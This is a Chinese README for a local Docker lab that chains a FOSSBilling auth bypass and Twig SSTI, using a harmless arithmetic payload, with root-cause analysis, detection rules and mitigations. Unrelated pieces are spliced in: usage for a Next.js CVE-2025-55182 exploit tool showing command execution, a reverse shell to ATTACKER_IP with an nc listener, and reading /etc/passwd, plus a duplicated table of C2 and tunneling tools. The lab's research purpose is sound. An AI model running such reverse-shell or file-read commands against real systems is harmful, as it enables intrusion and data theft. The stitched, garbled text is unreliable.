
本仓库包含一个本地 Docker 实验环境,用于复现和验证 FOSSBilling 预认证 RCE 链,该链由两个串联的漏洞组成:
| CVE | 类型 | CVSS v4 | GHSA | 描述 |
|---|---|---|---|---|
| CVE-2026-27604 | 认证绕过 | 10.0 | GHSA-78x5-c8gw-8279 | API 角色检查器中缺少 throw,导致管理端点暴露给未认证调用者 |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | 通过 string_render API 进行未沙箱化的 Twig 模板渲染 |
FOSSBilling 是一个免费开源的计费与客户管理平台。受影响版本为 0.5.4 至 0.7.2。FOSSBilling 0.8.0 修复了这两个漏洞。
本实验环境对比了两个 FOSSBilling 版本:
| 服务 | FOSSBilling 版本 | 用途 | URL |
|---|---|---|---|
| vuln | 0.7.2 | 易受攻击目标 | http://localhost:8081 |
本本地实验环境中验证的利用链为:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
修补后的目标(0.8.0)返回:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
该实验环境有意限定于本地 Docker 服务。它不针对外部系统,也不包含 webshell、恶意软件、持久化、外部回调、数据库转储或破坏性载荷。
预认证 RCE 需要两个漏洞协同作用:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
本实验使用安全算术证明 `{{ 7*7 }}` 演示该利用链。通过 `getDi()` 的完整 RCE 路径未演示。
## 已验证事实
| 声明 | 证据 | 验证方法 |
| ----- | -------- | ------------- |
| CVE-2026-27604 是 FOSSBilling API 角色处理中的认证绕过。 | GHSA-78x5-c8gw-8279:角色检查器中缺少 throw,导致 /api/system/ 被解析为 admin。 | 运行 PoC:guest 路径被拒绝,system 路径返回 admin 结果。 |
| CVE-2026-28496 是 FOSSBilling Twig 渲染中的 SSTI。 | GHSA-57mv-jm88-66jc:string_render 将 _tpl 传入 Twig createTemplate() 时未使用沙箱。 | 运行 PoC:服务器评估 {{ 7*7 }} 并返回 49。 |
| 两个漏洞均影响 FOSSBilling 0.5.4 至 0.7.2。 | 公开公告指出了受影响的版本范围。 | 对比漏洞版本(0.7.2)和已修补版本(0.8.0)目标。 |
| FOSSBilling 0.8.0 修补了两个漏洞。 | 已修补目标对测试端点返回 "Unknown API call"。 | 针对端口 8082 运行 PoC。 |
| 认证绕过提供了未认证的 admin 访问权限。 | /api/guest/ 拒绝 string_render;/api/system/ 无需认证即返回结果。 | 运行 PoC 的第 1 阶段。 |
| SSTI 会评估攻击者控制的模板。 | {{ 7*7 }} 通过漏洞路径返回 49。 | 运行 PoC 的第 2 阶段。 |
| 该利用链可实现 Pre-Auth RCE。 | 认证绕过 + SSTI = 具有 admin 上下文的未认证模板注入。 | 运行完整利用链 PoC。 |
| 该 PoC 仅使用 HTTP。 | poc.py 仅发送 HTTP POST 请求。 | 检查 poc/poc.py。 |
## 根本原因分析
### CVE-2026-27604:认证绕过
FOSSBilling API 从 URL 路径解析角色:```text
/api/:role/:module/:method
角色检查器验证请求的角色是否被允许。然而,在存在漏洞的版本中,针对被禁止角色的异常被实例化但从未抛出:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
因为异常从未被抛出,验证会静默通过。`system` 角色会解析为 cron 管理员身份,从而向任何未经身份验证的调用者授予完整的管理 API 访问权限。
安全影响:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
system 角色映射到内部 cron 管理员身份,该身份拥有完全的管理权限。
string_render 管理 API 方法从请求数据中接收 _tpl,并将其传入 Twig 模板渲染管道,且未强制执行沙箱:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
`renderString()` 方法会回退到 `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
关键问题:createTemplate($tpl) 从攻击者控制的字符串创建 Twig 模板,并在没有沙箱限制的情况下渲染它。该模板可以访问模板上下文中的对象,包括暴露 getDi() 的 guest API 处理器。
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## 源码补丁摘要
FOSSBilling 0.8.0 修复了这两个漏洞:
**认证绕过修复(CVE-2026-27604):**
角色检查器现在会针对不允许的角色正确抛出异常。
**SSTI 修复(CVE-2026-28496):**
模板渲染通过沙箱化渲染器进行路由:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
沙箱策略默认阻止方法和属性访问:```php $methods = []; $properties = [];
对于本实验中测试的公共 API 路径,FOSSBilling 0.8.0 根本没有暴露所测试的端点:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
源代码级回归检查确认了更深层的修复:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## 实验环境架构```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
默认暴露的服务:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
安装程序 sidecar 会在 `docker compose up` 期间自动运行。它们使用本地一次性凭据初始化两个 FOSSBilling 目标,然后退出。
## 要求
* Docker Desktop 或 Docker Engine
* Docker Compose v2
* Python 3
* 首次拉取 Docker 镜像时需要互联网访问
不需要任何 Python 第三方包。该 PoC 仅使用 Python 标准库模块。
## 快速开始
从干净状态启动实验环境:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
检查服务状态:```bash docker compose ps -a
预期运行的服务:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
预期完成的安装程序服务(退出代码 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
检查安装程序日志:```bash
docker compose logs installer-vuln installer-patched
对易受攻击的目标运行链验证:```bash python3 poc/poc.py --url http://localhost:8081
对已修补的目标运行链验证:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
示例:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
PoC 分三个阶段验证这两个 CVE:
阶段 1 — 认证绕过(CVE-2026-27604): 将 guest API 路径与 system API 路径进行比较,以证明存在未认证的管理员访问。```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**阶段 2 — SSTI (CVE-2026-28496):**
通过绕过的管理端点确认服务端模板求值。```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
阶段 3 — 链式评估: 汇总组合链式结果。
PoC 仅使用 HTTP。它不调用 Docker、Docker Compose、shell 命令或容器 API。
python3 poc/poc.py --url http://localhost:8081
## 漏洞利用
### 漏洞利用 - 命令执行
```bash
python3 CVE-2025-55182.py -u http://target.com -c "id"
# 在攻击者机器上启动监听器
nc -lvnp 4444
# 触发反向 shell
python3 CVE-2025-55182.py -u http://target.com --reverse-shell ATTACKER_IP:4444
python3 CVE-2025-55182.py -u http://target.com --read-file /etc/passwd
python3 CVE-2025-55182.py -u http://target.com --payload "custom_payload_here"
选项:
-h, --help 显示此帮助信息并退出
-u URL, --url URL 目标 URL
-c CMD, --cmd CMD 要执行的命令
--reverse-shell IP:PORT
反向 shell 连接
--read-file FILE 读取远程文件
--payload PAYLOAD 自定义 payload
--proxy PROXY 使用代理(例如 http://127.0.0.1:8080)
--timeout TIMEOUT 请求超时时间(默认:10)
--verbose 启用详细输出
将 Next.js 升级到已修复版本:
npm install next@latest
或升级到特定已修复版本:
npm install [email protected]
本工具仅供教育和道德安全测试目的使用。未经授权访问计算机系统是违法的。请仅在您拥有或已获得明确许可测试的系统上使用此工具。
本项目根据 MIT 许可证授权 - 详情请参阅 LICENSE 文件。
Scope: authorized local lab target only Target: http://localhost:8081
[1a] Guest role: POST /api/guest/system/string_render status=400 error={'message': '...', 'code': ...} → Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render status=200 result=49 → Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth CVE-2026-27604 CONFIRMED
[2] POST /api/system/system/string_render body={"_tpl": "{{ 7*7 }}"} status=200 response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49 CVE-2026-28496 CONFIRMED
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
### 已修补目标(FOSSBilling 0.8.0)```bash
python3 poc/poc.py --url http://localhost:8082
CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0
## 手动 HTTP 复现
### 认证绕过证明(CVE-2026-27604)
访客路径(应被拒绝):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
系统路径(绕过认证):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
### SSTI 验证(CVE-2026-28496)
来自易受攻击目标的系统路径响应:```json
{"result":"49","error":null}
curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
预期已修补响应:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
该攻击链可对 FOSSBilling 实现未认证远程代码执行,FOSSBilling 是一个账单和客户管理平台,可能存储:
演示的实验室载荷是无害的({{ 7*7 }})。通过 getDi() 和 DI 容器的真实世界影响链包括:
单个未认证的 HTTP POST 就足以到达 DI 容器。此 PoC 未演示该路径。
可疑请求模式:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)
请求体指示符:```text
_tpl, {{, }}, getDi, system, string_render
高信号检测规则:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output
建议的监控措施:
* 审查 `/api/system/` 请求的访问日志
* 审查 JSON 请求体中包含 `_tpl` 的请求
* 审查包含 Twig 语法(`{{`、`}}`、`getDi`)的请求
* 对来自外部 IP 的 `/api/system/` 成功响应进行告警
* 若怀疑存在利用行为,审查管理员活动
* 审查模板、邮件模板、群发邮件中的可疑 Twig 语法
## 缓解措施
将 FOSSBilling 升级至 0.8.0 或更高版本。
建议步骤:
* 将 FOSSBilling 升级至 0.8.0 或更高版本
* 在反向代理或 WAF 上阻止对 `/api/system/*` 的外部访问
* 将 API 访问限制为受信任的源 IP
* 轮换所有管理员和客户端 API 令牌
* 使所有活动会话失效
* 审查 `/api/system/` 请求的访问日志
* 审计邮件模板、群发邮件和支付适配器中的可疑 Twig 语法
* 若怀疑存在利用行为,轮换密钥
* 审查客户、账单和服务器记录是否存在未授权访问
安全工程经验教训:
* 在授权检查中始终抛出异常——仅实例化而不抛出异常是一种静默绕过
* 不要在特权应用程序上下文中渲染不受信任的模板字符串
* 使用沙箱化模板渲染,并默认拒绝方法/属性访问
* 不要将 DI 容器或服务定位器暴露给模板上下文
* 保持 API 授权失败显式化并采用故障关闭策略
## 实用命令```bash
# Container status
docker compose ps -a
# Installer logs
docker compose logs installer-vuln installer-patched
# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081
# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082
# Manual auth bypass proof
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
docker compose down --remove-orphans
docker compose down -v --remove-orphans
rm -rf evidence/
## 安全边界
本实验仅用于本地安全研究和受控演示。
请勿对您不拥有或未获得明确授权测试的系统运行 PoC。请勿在本实验中使用真实的生产凭据、客户数据或 API 密钥。
预期范围仅限于:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
该实验未演示:
CVE-2026-27604 — FOSSBilling 认证绕过 https://www.cve.org/CVERecord?id=CVE-2026-27604
CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496
GHSA-78x5-c8gw-8279 — 认证绕过公告 https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
GHSA-57mv-jm88-66jc — SSTI 公告 https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604
NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496
VulnCheck — FOSSBilling 认证绕过与 Twig SSTI 导致未认证 RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
FOSSBilling GitHub 仓库 https://github.com/FOSSBilling/FOSSBilling
FOSSBilling Docker 镜像 https://hub.docker.com/r/fossbilling/fossbilling
Twig 文档 — Sandbox 扩展 https://twig.symfony.com/doc/3.x/sandbox.html
| patched | 0.8.0 | 已修补目标 | http://localhost:8082 |
| 服务 | 组件 | 版本 / 角色 |
|---|
| vuln | FOSSBilling | 0.7.2 漏洞目标 |
| patched | FOSSBilling | 0.8.0 已修补目标 |
| vuln-db | MariaDB | 漏洞目标的数据库 |
| patched-db | MariaDB | 已修补目标的数据库 |
| installer-vuln | curl sidecar | 自动安装漏洞目标 |
| installer-patched | curl sidecar | 自动安装已修补目标 |
| 工具名称 | 描述 | 平台 |
|---|
| Cobalt Strike | 以对手模拟和红队行动为目标的威胁模拟软件 | Windows |
| Sliver | 面向红队的通用跨平台植入框架 | Windows, Linux, macOS |
| Mythic | 面向红队的跨平台协作式多代理 C2 框架 | Windows, Linux, macOS |
| Havoc | 面向红队的现代可延展后利用 C2 框架 | Windows, Linux |
| Brute Ratel C4 | 面向红队和对手模拟的 C2 框架 | Windows |
| Nighthawk | 面向红队的 C2 框架 | Windows |
| PoshC2 | 基于代理的 C2 框架,支持 PowerShell 和 C# | Windows |
| Empire | 基于 PowerShell 的后利用框架 | Windows, Linux, macOS |
| Metasploit | 渗透测试框架 | Windows, Linux, macOS |
| Covenant | 面向红队的协作式 .NET C2 框架 | Windows, Linux, macOS |
| Merlin | 基于 HTTP/2 的跨平台后利用 C2 框架 | Windows, Linux, macOS |
| Koadic | 兼容 Windows 的 C2 框架 | Windows |
| Faction | 面向红队的协作式 C2 框架 | Windows, Linux, macOS |
| Deimos | 面向红队的 C2 框架 | Windows, Linux, macOS |
| Pupy | 跨平台远程管理工具和后利用框架 | Windows, Linux, macOS |
| SILENTTRINITY | 基于 Python 的后利用框架 | Windows |
| SharpC2 | 面向红队的 C2 框架 | Windows |
| C3 | 面向红队的 C2 框架 | Windows |
| TrevorC2 | 通过合法网站进行隐蔽命令控制的 C2 框架 | Windows, Linux, macOS |
| DNSCat2 | 通过 DNS 协议创建加密命令与控制通道的工具 | Windows, Linux, macOS |
| Iodine | 通过 DNS 服务器隧道传输 IPv4 数据的工具 | Windows, Linux, macOS |
| Chisel | 基于 HTTP 的快速 TCP/UDP 隧道 | Windows, Linux, macOS |
| Gost | 用 Go 语言编写的多功能隧道工具 | Windows, Linux, macOS |
| FRP | 用于内网穿透的反向代理工具 | Windows, Linux, macOS |
| Ngrok | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Serveo | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Localtunnel | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| PageKite | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Telebit | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Inlets | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Sish | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Bore | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Rathole | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Expose | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Tunnelto | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| LocalXpose | 将本地服务器暴露到公网的工具 | Windows, Linux, macOS |
| Zerotier | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Tailscale | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| WireGuard | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| OpenVPN | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| SoftEther | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Nebula | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Innernet | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Netmaker | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Firezone | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Headscale | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Nebula | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Innernet | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Netmaker | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Firezone | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| Headscale | 用于构建虚拟网络的工具 | Windows, Linux, macOS |
| CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT | ||
| CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT |